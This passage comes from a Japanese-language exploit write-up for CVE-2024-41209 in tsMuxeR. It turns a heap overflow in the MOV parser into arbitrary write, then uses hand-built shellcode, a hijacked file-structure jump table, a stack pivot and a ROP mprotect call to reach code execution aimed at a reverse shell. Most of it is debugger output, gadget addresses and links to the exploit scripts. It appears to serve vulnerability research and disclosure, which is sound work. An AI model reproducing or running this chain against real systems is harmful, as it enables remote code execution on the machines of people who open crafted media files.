0x93a6f0: 0x00000000008eb088 0x000000000093a4c0 <- MovParsedXXXTrackData
0x93a700: 0x0000000000939e30 0x0000000000000000
0x93a710: 0x0000000000000000 0x0000000000000000
0x93a720: 0x0000000000000004 0x00000000000058e1
gef> x/12gx 0x8eb088
0x8eb088 <vtable for MovParsedH264TrackData+16>: 0x00000000004bfe88 0x00000000004bfec6
0x8eb098 <vtable for MovParsedH264TrackData+32>: 0x00000000004befd8 0x00000000004bf8d4
0x8eb0a8 <vtable for MovParsedH264TrackData+48>: 0x00000000004bfae0 0x0000000000000000
0x8eb0b8 <vtable for MovParsedAudioTrackData+8>: 0x00000000008f6600 0x00000000004ccd6c
0x8eb0c8 <vtable for MovParsedAudioTrackData+24>: 0x00000000004ccd9a 0x00000000004be9fa
0x8eb0d8 <vtable for MovParsedAudioTrackData+40>: 0x00000000004bea96 0x00000000004bebda
次にMOVStreamContext構造体を確認します。ctts_dataのベクターが末尾にあります。このctts_dataのベクターは、MovDemuxer::mov_read_ctts
を呼ぶことにより値を書き込みができることが分かっています。つまり、MOVStreamContext構造体を確保してctts_dataのベクターをセットした後にheap BOFでこのポインタを破壊すれば、AAWのprimitiveが得られそうです。今回はこれを使います。
struct MOVStreamContext : Track
{
MOVStreamContext()
: m_indexCur(0),
...
sample_rate(0)
{
}
...
vector<uint32_t> keyframes;
// vector<MOVDref> drefs;
vector<MOVStts> stts_data;
vector<MOVStts> ctts_data;
};
AAW
AAW (Arbitrary Address Write)は任意のアドレスに書き込みができるprimitiveです。今回のExploitではリバースシェルを起動することが最終目標なので、任意の文字列に対してexecveできる必要があります。シェルコードや文字列をメモリ上に作成したり、RIPを制御したりするには、heap BOFよりも強力で使い勝手のよいprimitiveを得ることが必要不可欠です。
heap BOFでMOVStreamContext構造体を書き換えて、AAWのprimitiveを得る手順を確認します。わかりやすさのために1回目にcallしたMovDemuxer::mov_read_trun()
をMovDemuxer::mov_read_trun1
のように表記することにします。
まず、MovDemuxer::mov_read_trun1
→ MovDemuxer::mov_read_ctts1
の順番に呼んで、sizeのみを0にします。次にMovDemuxer::mov_read_trak
→ MovDemuxer::mov_read_ctts2
の順番に実行することで、最初のMovDemuxer::mov_read_ctts1
で確保したctts_dataベクターの直下にMOVStreamContext構造体を確保し、その構造体の中に破壊対象であるctts_dataベクターを用意します。MovDemuxer::mov_read_trun2
でheap BOFを発火させ、MOVStreamContext構造体の中のctts_dataベクターを書き換えてから、MovDemuxer::mov_read_ctts3
でそのベクターに対して書き込みを試みることでAAWが実現することができるはずです。
実際にデバッグして確認します。MovDemuxer::mov_read_trun2
でheap BOFが発生する直前のheap領域は以下のようになっています。
gef> x/200gx 0x000000000093a650
0x93a650: 0x0000000000000000 0x0000000000000000
0x93a660: 0x0000000000000000 0x0000000000000031
0x93a670: 0x0000000000000000 0x000000000091e250 <- ctts2で確保したベクター
0x93a680: 0x0000000000000001 0x0000000000000000
...
ctts1で確保したベクターがemplace_backで再確保された後にfreeされたチャンク達
...
0x93a880: 0x0000000000000000 0x0000000000000211
0x93a890: 0x0000000000000001 0x0000000000000000 <- ctts1で確保したベクター
0x93a8a0: 0x0000000000000001 0x0000000000000000
0x93a8b0: 0x0000000000000001 0x0000000000000000
0x93a8c0: 0x0000000000000001 0x0000000000000000
0x93a8d0: 0x0000000000000001 0x0000000000000000
0x93a8e0: 0x0000000000000001 0x0000000000000000
...
0x93aa50: 0x0000000000000001 0x0000000000000000
0x93aa60: 0x0000000000000001 0x0000000000000000
0x93aa70: 0x0000000000000001 0x0000000000000000
0x93aa80: 0x0000000000000000 0x0000000000000000
0x93aa90: 0x0000000000000000 0x0000000000000191
0x93aaa0: 0x0000000000000040 0x0000000000000000 <- MovStreamContext構造体
0x93aab0: 0x0000000000000000 0x0000000000000000
0x93aac0: 0x0000000000000000 0x0000000000000000
0x93aad0: 0x0000000000000000 0x0000000000000000
0x93aae0: 0x0000000000000000 0x0000000000000000
0x93aaf0: 0x0000000000000000 0x0000000000000000
0x93ab00: 0x0000000000000000 0x0000000000000000
0x93ab10: 0x0000000000000000 0x0000000000000000
0x93ab20: 0x0000000000000000 0x0000000000000000
0x93ab30: 0x0000000000000000 0x0000000000000000
0x93ab40: 0x0000000000000000 0x0000000000000000
0x93ab50: 0x0000000000000000 0x0000000000000000
0x93ab60: 0x0000000000000002 0x0000000000000000
0x93ab70: 0x0000000000000000 0x0000000000000000
0x93ab80: 0x0000000000000000 0x0000000000000000
0x93ab90: 0x0000000000000000 0x0000000000000000
0x93aba0: 0x0000000000000000 0x0000000000000000
0x93abb0: 0x0000000000000000 0x0000000000000000
0x93abc0: 0x0000000000000000 0x0000000000000000
0x93abd0: 0x0000000000000000 0x0000000000000000
0x93abe0: 0x0000000000000000 0x0000000000000000
0x93abf0: 0x0000000000000000 0x0000000000000000
0x93ac00: 0x0000000000000000 0x000000000093a650 <- 破壊対象のctts_dataベクター
0x93ac10: 0x000000000093a660 0x000000000093a660
0x93ac20: 0x0000000000000000 0x0000000000000021
0x93ac30: 0x0000000000000000 0x0000000000000000
0x93ac40: 0x0000000000000000 0x00000000000053c1
MovDemuxer::mov_read_trun2
の後にMovDemuxer::mov_read_ctts3
でベクターに書き込んでみましょう。ベクターの _M_impl._M_start
がoverwriteされ、そのアドレスへ書き込みが行われていることが分かります。
gef> x/58gx 0x93aa80
0x93aa80: 0x0000000000000001 0x00000000deadbeef
0x93aa90: 0x0000000000000001 0x0000000000000191
0x93aaa0: 0x0000000000000001 0x000000006e757274
0x93aab0: 0x0000000000000001 0x000000006e757274
...
0x93abe0: 0x0000000000000001 0x000000006e757274
0x93abf0: 0x0000000000000001 0x000000006e757274
0x93ac00: 0x0000000000000001 0x000000000091c800 <- ctts_data._M_impl._M_start
0x93ac10: 0x000000000093a660 0x000000000093a660
0x93ac20: 0x0000000000000000 0x0000000000000021
0x93ac30: 0x0000000000000000 0x0000000000000000
0x93ac40: 0x0000000000000000 0x00000000000053c1
gef> x/6gx 0x000000000091c800
0x91c800: 0x00000000deadbeef 0x00000000cafebabe
0x91c810: 0x00000000deadbeef 0x00000000cafebabe
0x91c820: 0x0000000000000000 0x0000000000000000
AAWを実行するコードは以下のとおりです。
https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_aaw.py
任意サイズの32bit列を任意のアドレスに書き込むことが出来ます。32bit列なので例えば64bitのアドレスを書き込むことはできません。しかし、no-pieでstatic linkなバイナリにおいては十分なwrite primitiveを得ることができました。
エクスプロイト
得られたAAWのprimitiveを使ってRCEに繋げます。staticバイナリなので使用していないlibcの関数はバイナリ中に存在しません。system関数が存在しないので、リバースシェルを起動するにはいくつかのガジェットを自由に実行できる必要があります。
今回のエクスプロイトではシェルコードを実行することにしました。AAWのprimitiveは実際の32bit列しか書き込めないという制限があるので、上位32bitが 00000000
であっても動くようなシェルコードを作成します。また、write権限とexecute権限が同時に付与されているメモリ領域は存在していないので、Return Oriented Programming (ROP)でmprotectを呼ぶことで書き込んだシェルコードを実行できるようにします。
具体的な方針としては次の通りです。
- AAWでメモリ上にシェルコードを配置する
- RIPを取る (任意のアドレスにプログラムカウンタを飛ばす)
- ガジェットを実行してstack pivotをする
- ROPでシェルコードのあるメモリ領域に実行権限を付与する
- シェルコードを実行 → リバースシェルを起動する
シェルコードを作成する
シェルコードを実行してリバースシェルを起動する場合、次の二つのステップが必要です。
- メモリ上に、任意の文字列を
/bin/sh -c
に繋げて用意すること - 引数に用意した文字列を渡した状態で、execveシステムコールを呼び出すこと
32bit列しか書き込めないAAWの書き込みで作成したシェルコードで、これらを実現することを考えます。
まず、AAWにて上位32bitに0が書き込まれてしまう問題がありますが、その上位32bit部分を即値に相当する部分として扱うことによって解決します。言葉で説明してもわかりにくいので、機械語の例を以下に示します。
32bit列しか書き込めない、というのは以下のように上位32bitが00000000
となるような、64bitの値を連続して書き込める状態です。
gef> x/32gx 0x901410
0x901410 <_dl_main_map+208>: 0x00000000b990c031 0x00000000b990900c
0x901420 <_dl_main_map+224>: 0x00000000b908e0c1 0x00000000b9900d0c
0x901430 <_dl_main_map+240>: 0x00000000b908e0c1 0x00000000b990d00c
0x901440 <_dl_main_map+256>: 0x00000000b9902fb3 0x00000000b9901888
0x901450 <_dl_main_map+272>: 0x00000000b990c031 0x00000000b990900c
0x901460 <_dl_main_map+288>: 0x00000000b908e0c1 0x00000000b9900d0c
0x901470 <_dl_main_map+304>: 0x00000000b908e0c1 0x00000000b990d10c
0x901480 <_dl_main_map+320>: 0x00000000b99062b3 0x00000000b9901888
0x901490 <_dl_main_map+336>: 0x00000000b990c031 0x00000000b990900c
0x9014a0 <_dl_main_map+352>: 0x00000000b908e0c1 0x00000000b9900d0c
この0の部分を即値に相当する部分として解釈されるようにするとは、上のメモリ領域を機械語として解釈した時の結果を確認すると理解できると思います。
mov ecx, 0
の部分を見てください。0xb9に続く、0x00000000は即値として扱われており、全体として5byteのvalidな命令列となっています。
-> 0x901410 31c0 xor eax, eax
0x901412 90 nop
0x901413 b900000000 mov ecx, 0
0x901418 0c90 or al, 0x90
0x90141a 90 nop
0x90141b b900000000 mov ecx, 0
0x901420 c1e008 shl eax, 8
0x901423 b900000000 mov ecx, 0
0x901428 0c0d or al, 0xd
0x90142a 90 nop
0x90142b b900000000 mov ecx, 0
このmov ecx, 0
を間に挟むことで、好きな3byteの機械語を連続して実行できるようになります。rcxレジスタへの操作以外のmov ecx, 0
の副作用はありません。
次にこの3byte以内の命令の連続で、任意のアドレスに1byteの書き込みを行うことを実現します。書き込みにはmov [rax], bl
という2byteの命令を使います。書き込み先のアドレスをraxレジスタに用意する必要がありますが、 xor eax, eax
で0に初期化した後に、or al, 0x90
のように好きな1byte(ここでは0x90)をalレジスタに格納し、shl eax, 8
でシフトすることを繰り返すことで、任意の32bitアドレスをeaxレジスタに用意することが可能です。
例えば、以下のようなシェルコードをメモリ上に配置して実行することで、アドレス0x900dd0に0x2fを書き込むことができます。
0x901410 31c0 xor eax, eax
0x901412 90 nop
0x901413 b900000000 mov ecx, 0
0x901418 0c90 or al, 0x90
0x90141a 90 nop
0x90141b b900000000 mov ecx, 0
0x901420 c1e008 shl eax, 8
0x901423 b900000000 mov ecx, 0
0x901428 0c0d or al, 0xd
0x90142a 90 nop
0x90142b b900000000 mov ecx, 0
0x901430 c1e008 shl eax, 8
0x901433 b900000000 mov ecx, 0
0x901438 0cd0 or al, 0xd0
0x90143a 90 nop
0x90143b b900000000 mov ecx, 0
0x901440 b32f mov bl, 0x2f
0x901442 90 nop
0x901443 b900000000 mov ecx, 0
0x901448 8818 mov byte ptr [rax], bl
0x90144a 90 nop
0x90144b b900000000 mov ecx, 0
つまり、このシェルコードの実行さえできれば、「任意のアドレスに1byte書き込める」という、より強力なAAW primitiveを得ることができます。複数回このprimitiveを使用することで、任意の文字列をメモリ上に作成できます。
任意の文字列を作成した後は、execveシステムコールを呼ぶだけです。
eaxに任意の32bitアドレスを作った後に、mov edi, eax
のような2byte命令を実行すれば、rdi, rsi, rdxレジスタにも任意の32bitアドレスを用意できます。
例えば、以下のようにレジスタを設定してsyscall命令を実行すればよいです。
- raxレジスタにexecveのsyscall番号である0x3bをセット
- rdiレジスタに
/bin/sh
の文字列の格納されたアドレスをセット - rsiレジスタにargvのアドレスとして、
/bin/sh
のアドレスが入っているポインタのアドレスをセット - rdxに0をセット
[+] Detected syscall (arch:X86, mode:64)
execve(const char __user *filename, const char __user *const __user *argv, const char __user *const __user *envp)
[+] Parameter Register Value
RET $rax -
_NR $rax 0x3b
filename $rdi 0x0000000000900dd0 <main_arena+0x530> -> 0x0068732f6e69622f ('/bin/sh'?)
argv $rsi 0x0000000000900db0 <main_arena+0x510> -> 0x0000000000900dd0 <main_arena+0x530> -> 0x0068732f6e69622f ('/bin/sh'?)
envp $rdx 0x0000000000000000
argvとして渡される0x900dd0のメモリ領域には以下のように文字列を用意すればよいです。
gef> x/8gx 0x900dd0
0x900dd0 <main_arena+1328>: 0x0068732f6e69622f 0x0000000000900dc0
0x900de0 <main_arena+1344>: 0x000000000000632d 0x0000000000900dd0
0x900df0 <main_arena+1360>: 0x3b61686c2d20736c 0x746164203b646920
0x900e00 <main_arena+1376>: 0x0000000000900065 0x0000000000900df0
gef> x/25s 0x0000000000900dd0
0x900dd0 <main_arena+1328>: "/bin/sh"
0x900dd8 <main_arena+1336>: "\300\r\220"
...
0x900de0 <main_arena+1344>: "-c"
...
0x900de8 <main_arena+1352>: "\320\r\220"
...
0x900df0 <main_arena+1360>: "ls -lha; id; date"
0x900e02 <main_arena+1378>: "\220"
...
0x900e08 <main_arena+1384>: "\360\r\220"
0x900e0c <main_arena+1388>: ""
以上のようなシェルコードをメモリ上に用意すれば、あとはrwx権限をそのメモリ領域に付与し、RIPレジスタをそのシェルコードの先頭に飛ばすだけで、リバースシェルを実行できます。
今回の例では ls -lha; id; date
を実行しているだけですが、この文字列をリバースシェルを実行するような文字列に変えればよいです。
シェルコードを作成するpythonスクリプトは以下の通りです。
https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_shellcode.py
RIPを取る
今回はRIPを制御するために、File Structure Oriented Programming (FSOP)を使います。static linkedなバイナリでは、File構造体のvtableの範囲チェックが存在しないだけでなく、vtable自体もrw可能領域にmapされています。このvtableの適切な関数ポインタを書き換えるだけで、File構造体にアクセスする様々なinternal関数の中でRIPをハイジャックできます。
今回は、MovDemuxer::mov_read_cmov()
を使って__cxa_throw経由でFSOPを発火させます。。これにより、破壊したctts_dataベクターのデストラクタで落ちることなくRIPを取ることができます。
int MovDemuxer::mov_read_cmov(MOVAtom atom) { THROW(ERR_MOV_PARSE, "Compressed MOV not supported in current version") }
FSOPでRIPを飛ばす時のレジスタの状態を確認します。
生成したexploit.movを渡し実行すると、_IO_file_jumpsの13番目のエントリを書き換えることでRIPをハイジャックできることがわかります。実は他のエントリでもハイジャックすることは可能ですが、今回はこの13番目のエントリである_IO_sync_tをガジェットのアドレスに書き換えることにします。
https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_rip.py
Thread 1 "tsMuxeR" received signal SIGSEGV, Segmentation fault.
0x00000000dead000c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | Writable | ReadOnly | None | RWX | String ]
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----
$rax : 0x0000000000000828
$rbx : 0x0000000000900420 <_IO_2_1_stdout_> -> 0x00000000fbad2a84
$rcx : 0x0000000000000001
$rdx : 0x0000000000901920 <_IO_str_chk_jumps> -> 0x0000000000000000
$rsp : 0x00007fffffffdc18 -> 0x000000000072b256 <fflush+0x86> -> 0x950f41c085c03145
$rbp : 0x0000000000901e60 <_IO_file_jumps> -> 0x00000000dead0000
$rsi : 0x0000000000000540
$rdi : 0x0000000000900420 <_IO_2_1_stdout_> -> 0x00000000fbad2a84
$rip : 0x00000000dead000c
$r8 : 0x0000000000918580 <std::cout> -> 0x00000000008fb9a0 <vtable for std::ostream+0x18> -> 0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()> -> 0x88c0c748fa1e0ff3
$r9 : 0x00007fffffffd950 -> 0x00007fffffffdb38 -> 0x000000000093aec0 -> 0x474e5543432b2b00
$r10 : 0x000000000091a3b0 <dwarf_reg_size_table> -> 0x0808080808080808
$r11 : 0x0000000000000000
$r12 : 0x0000000000918580 <std::cout> -> 0x00000000008fb9a0 <vtable for std::ostream+0x18> -> 0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()> -> 0x88c0c748fa1e0ff3
$r13 : 0x00000000007e2a98 -> 0x00203a726f727245 ('Error: '?)
$r14 : 0x00000000008fe018 <_GLOBAL_OFFSET_TABLE_+0x18> -> 0x0000000000760dc0 <__strcasecmp_avx> -> 0x90c0c748fa1e0ff3
$r15 : 0x00007fffffffdc90 -> 0x00000000ffffde00
$eflags: 0x10206 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign zero adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp 0x7fffffffdc18|+0x0000|+000: 0x000000000072b256 <fflush+0x86> -> 0x950f41c085c03145 <- retaddr[1]
0x7fffffffdc20|+0x0008|+001: 0x00007fffffffdecd -> 0xffffffdee0000000
0x7fffffffdc28|+0x0010|+002: 0x0000000000918460 <std::cerr> -> 0x00000000008fb9a0 <vtable for std::ostream+0x18> -> 0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()> -> ...
0x7fffffffdc30|+0x0018|+003: 0x00007fffffffdc90 -> 0x00000000ffffde00 <- $r15
0x7fffffffdc38|+0x0020|+004: 0x00000000006afee3 <std::ostream::flush()+0x23> -> 0xe0894c0874fff883 <- retaddr[2]
0x7fffffffdc40|+0x0028|+005: 0x0000000000918460 <std::cerr> -> 0x00000000008fb9a0 <vtable for std::ostream+0x18> -> 0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()> -> ...
0x7fffffffdc48|+0x0030|+006: 0x00000000006b0740 <std::ostream::sentry::sentry(std::ostream&)+0x50> -> 0x8be8580348038b48 <- retaddr[3]
0x7fffffffdc50|+0x0038|+007: 0x00007fffffffdc80 -> 0x696f6c7078652f2e './exploit.mov'
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
[!] Cannot access memory at address 0xdead000c
Stack pivot
32bitの配列をAAWで書き込む都合から、_IO_file_jumpsの上のメモリ領域にROPのペイロードを用意し、stack pivotでそこに制御を移すことにします。
espにアクセスするガジェットは複数ありますが、今回は mov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret
ガジェットを使います。ebpには_IO_file_jumpsのアドレスが入っているので、stackを_IO_file_jumpsにpivotできます。
_IO_file_jumpsの0から14番目までの_IO_sync_tを除いたエントリは、_IO_sync_tにアクセスするまでに使用されることはなかったので好きなアドレスを書き込んでおくことができます。
ここまでのコードを以下に示します。
https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_stack_pivot.py
ROPでmprotectを実行
ここでは、_IO_file_jumpsのアドレスより上のメモリ領域にシェルコードを配置します。
これにより1回のctts_dataベクターの書き込みで、_IO_file_jumpsの書き換えとシェルコードの配置を同時に達成できます。
13番目のmov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret
ガジェットを上手くpopで回避しながら、mprotectを実行し、シェルコードの領域にretすれば、リバースシェルが起動します。mprotectを実行して、rwx領域にretするまでの動作を実際に確認してみます。
import gdb
gdb.execute('set substitute-path /workdir .')
gdb.execute('b MovDemuxer::mov_read_cmov')
gdb.execute('r')
gdb.execute('b *0x007b0851')
gdb.execute('c')
まず、stack pivotのガジェットが実行されます。
$rax : 0x0000000000000828
$rbx : 0x0000000000900420 <_IO_2_1_stdout_> -> 0x00000000fbad2a84
$rcx : 0x0000000000000001
$rdx : 0x0000000000901920 <_IO_str_chk_jumps> -> 0x0000000000000000
$rsp : 0x00007fffffffdc18 -> 0x000000000072b256 <fflush+0x86> -> 0x950f41c085c03145
$rbp : 0x0000000000901e60 <_IO_file_jumps> -> 0x00000000dead0000
$rsi : 0x0000000000000540
$rdi : 0x0000000000900420 <_IO_2_1_stdout_> -> 0x00000000fbad2a84
$rip : 0x00000000007b0851 <fread_unlocked+0x51> -> 0x41e0894c5d5bec89
$r8 : 0x0000000000918580 <std::cout> -> 0x00000000008fb9a0 <vtable for std::ostream+0x18> -> 0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()> -> 0x88c0c748fa1e0ff3
$r9 : 0x00007fffffffd950 -> 0x00007fffffffdb38 -> 0x000000000093aec0 -> 0x474e5543432b2b00
$r10 : 0x000000000091a3b0 <dwarf_reg_size_table> -> 0x0808080808080808
$r11 : 0x0000000000000000
$r12 : 0x0000000000918580 <std::cout> -> 0x00000000008fb9a0 <vtable for std::ostream+0x18> -> 0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()> -> 0x88c0c748fa1e0ff3
$r13 : 0x00000000007e2a98 -> 0x00203a726f727245 ('Error: '?)
$r14 : 0x00000000008fe018 <_GLOBAL_OFFSET_TABLE_+0x18> -> 0x0000000000760dc0 <__strcasecmp_avx> -> 0x90c0c748fa1e0ff3
$r15 : 0x00007fffffffdc90 -> 0x00000000ffffde00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp 0x7fffffffcff0|+0x0000|+000: 0x00007fffffffd020 -> 0x00007fffffffd050 -> 0x00007fffffffd070 -> ...
0x7fffffffcff8|+0x0008|+001: 0x0000000000939e30 -> 0x00000000008f6528 <vtable for MovDemuxer+0x10> -> 0x00000000004be4d8 <MovDemuxer::~MovDemuxer()> -> ... <- $rax, $rdi
0x7fffffffd000|+0x0010|+002: 0x00007fffffffd020 -> 0x00007fffffffd050 -> 0x00007fffffffd070 -> ...
0x7fffffffd008|+0x0018|+003: 0x9ec84812c6782000 <- canary
0x7fffffffd010|+0x0020|+004: 0x00007fffffffd040 -> 0x00007fffffffd070 -> 0x00007fffffffd0b0 -> ...
0x7fffffffd018|+0x0028|+005: 0x00000000004534f8 <IOContextDemuxer::get_be16()+0x2e> -> 0x5d5b18c48348d809
0x7fffffffd020|+0x0030|+006: 0x00007fffffffd050 -> 0x00007fffffffd070 -> 0x00007fffffffd0b0 -> ...
0x7fffffffd028|+0x0038|+007: 0x0000000000939e30 -> 0x00000000008f6528 <vtable for MovDemuxer+0x10> -> 0x00000000004be4d8 <MovDemuxer::~MovDemuxer()> -> ... <- $rax, $rdi
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
*-> 0x7b0851 89ec <fread_unlocked+0x51> mov esp, ebp
0x7b0853 5b <fread_unlocked+0x53> pop rbx
0x7b0854 5d <fread_unlocked+0x54> pop rbp
0x7b0855 4c89e0 <fread_unlocked+0x55> mov rax, r12
0x7b0858 415c <fread_unlocked+0x58> pop r12
0x7b085a c3 <fread_unlocked+0x5a> ret
その後、mprotectをsyscall命令で実行する際の引数を用意します。
pop rdi; ret;
でシェルコードを格納する予定の0x901000をrdiレジスタにセットします。
rspレジスタの指す領域が、stack pivotによって_IO_file_jumps上にあることも確認できます。
pop rsi; ret;
で 0x4000
をrsiレジスタにセットします。pop rdx; ret;
でrwxを表す 7
をrdxレジスタにセットします。pop rax; ret;
でmprotectを指定する 0xa
をraxレジスタにセットします。
mprotectを実行する直前の状態を確認します。
$rax : 0x000000000000000a
$rbx : 0x00000000dead0000
$rcx : 0x0000000000000001
$rdx : 0x0000000000000007
$rsp : 0x0000000000901ec0 <_IO_file_jumps+0x60> -> 0x00000000007b0851 <fread_unlocked+0x51> -> 0x41e0894c5d5bec89
$rbp : 0x00000000cafe0000
$rsi : 0x0000000000004000
$rdi : 0x0000000000901000 <main_arena+0x760> -> 0x0000000000900ff0 <main_arena+0x750> -> 0x0000000000900fe0 <main_arena+0x740> -> 0x0000000000900fd0 <main_arena+0x730> -> ...
$rip : 0x0000000000627791 <__deallocate_stack+0xe1> -> 0x48001f0fc35d050f
$r8 : 0x0000000000918580 <std::cout> -> 0x00000000008fb9a0 <vtable for std::ostream+0x18> -> 0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()> -> 0x88c0c748fa1e0ff3
$r9 : 0x00007fffffffd950 -> 0x00007fffffffdb38 -> 0x000000000093aec0 -> 0x474e5543432b2b00
$r10 : 0x000000000091a3b0 <dwarf_reg_size_table> -> 0x0808080808080808
$r11 : 0x0000000000000000
$r12 : 0x00000000dead0012
$r13 : 0x00000000007e2a98 -> 0x00203a726f727245 ('Error: '?)
$r14 : 0x00000000008fe018 <_GLOBAL_OFFSET_TABLE_+0x18> -> 0x0000000000760dc0 <__strcasecmp_avx> -> 0x90c0c748fa1e0ff3
$r15 : 0x00007fffffffdc90 -> 0x00000000ffffde00
$eflags: 0x206 [ident align vx86 resume nested overflow direction INTERRUPT trap sign zero adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp 0x000000901ec0|+0x0000|+000: 0x00000000007b0851 <fread_unlocked+0x51> -> 0x41e0894c5d5bec89
0x000000901ec8|+0x0008|+001: 0x0000000000901e40 <_IO_file_jumps_mmap+0xa0> -> 0x0000000000735d00 <_IO_default_imbue> -> 0x2e6666c3fa1e0ff3 <- retaddr[1]
0x000000901ed0|+0x0010|+002: 0x0000000000731c70 <_IO_file_read> -> 0x70478b44fa1e0ff3 <- retaddr[2]
0x000000901ed8|+0x0018|+003: 0x0000000000731570 <_IO_new_file_write> -> 0x89495541fa1e0ff3
0x000000901ee0|+0x0020|+004: 0x0000000000730d10 <_IO_file_seek> -> 0xe9707f8bfa1e0ff3
0x000000901ee8|+0x0028|+005: 0x00000000007308f0 <_IO_file_close> -> 0xe9707f8bfa1e0ff3
0x000000901ef0|+0x0030|+006: 0x0000000000731550 <_IO_file_stat> -> 0x8bf28948fa1e0ff3 <- retaddr[3]
0x000000901ef8|+0x0038|+007: 0x0000000000735cf0 <_IO_default_showmanyc> -> 0xffffffb8fa1e0ff3 <- retaddr[4]
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
0x627780 be81000000 <__deallocate_stack+0xd0> mov esi, 0x81
0x627785 b8ca000000 <__deallocate_stack+0xd5> mov eax, 0xca
0x62778a 488d3d37fe2e00 <__deallocate_stack+0xda> lea rdi, [rip + 0x2efe37] # 0x9175c8 <stack_cache_lock>
-> 0x627791 0f05 <__deallocate_stack+0xe1> syscall
0x627793 5d <__deallocate_stack+0xe3> pop rbp
0x627794 c3 <__deallocate_stack+0xe4> ret
0x627795 0f1f00 <__deallocate_stack+0xe5> nop DWORD PTR [rax]
0x627798 488d3d29fe2e00 <__deallocate_stack+0xe8> lea rdi, [rip + 0x2efe29] # 0x9175c8 <stack_cache_lock>
0x62779f e81cb70000 <__deallocate_stack+0xef> call 0x632ec0 <__lll_lock_wait_private>
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- arguments ----
[+] Detected syscall (arch:X86, mode:64)
mprotect(unsigned long start, size_t len, unsigned long prot)
[+] Parameter Register Value
RET $rax -
_NR $rax 0xa
start $rdi 0x0000000000901000 <main_arena+0x760> -> 0x0000000000900ff0 <main_arena+0x750> -> 0x0000000000900fe0 <main_arena+0x740> -> 0x0000000000900fd0 <main_arena+0x730> -> ...
len $rsi 0x0000000000004000
prot $rdx 0x0000000000000007
gef> vmmap -n
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x0000000000401000 0x00000000007d9000 0x00000000003d8000 0x0000000000001000 r-x /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR <- $rip
0x00000000007d9000 0x00000000008ea000 0x0000000000111000 0x00000000003d9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR <- $r13
0x00000000008ea000 0x00000000008fe000 0x0000000000014000 0x00000000004e9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x00000000008fe000 0x0000000000903000 0x0000000000005000 0x00000000004fd000 rw- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR <- $rsp, $rdi, $r14
0x0000000000903000 0x0000000000940000 0x000000000003d000 0x0000000000000000 rw- [heap]<tls-th1> <- $r8, $r10
0x00007ffff73c2000 0x00007ffff77f8000 0x0000000000436000 0x0000000000000000 rw-
0x00007ffff77f8000 0x00007ffff77f9000 0x0000000000001000 0x0000000000000000 ---
0x00007ffff77f9000 0x00007ffff7ff9000 0x0000000000800000 0x0000000000000000 rw- <tls-th2><stack-th2>
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]
syscallを呼んだ後は、続くpop rbp; ret;
でstack pivotに使ったガジェットにretしないようにstackをずらします。
mprotectを実行した結果、メモリ領域はrwxになっています。
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp 0x000000901ec0|+0x0000|+000: 0x00000000007b0851 <fread_unlocked+0x51> -> 0x41e0894c5d5bec89
0x000000901ec8|+0x0008|+001: 0x0000000000901e40 <_IO_file_jumps_mmap+0xa0> -> 0x0000000000735d00 <_IO_default_imbue> -> 0x2e6666c3fa1e0ff3 <- retaddr[1]
0x000000901ed0|+0x0010|+002: 0x0000000000731c70 <_IO_file_read> -> 0x70478b44fa1e0ff3 <- retaddr[2]
0x000000901ed8|+0x0018|+003: 0x0000000000731570 <_IO_new_file_write> -> 0x89495541fa1e0ff3
0x000000901ee0|+0x0020|+004: 0x0000000000730d10 <_IO_file_seek> -> 0xe9707f8bfa1e0ff3
0x000000901ee8|+0x0028|+005: 0x00000000007308f0 <_IO_file_close> -> 0xe9707f8bfa1e0ff3
0x000000901ef0|+0x0030|+006: 0x0000000000731550 <_IO_file_stat> -> 0x8bf28948fa1e0ff3 <- retaddr[3]
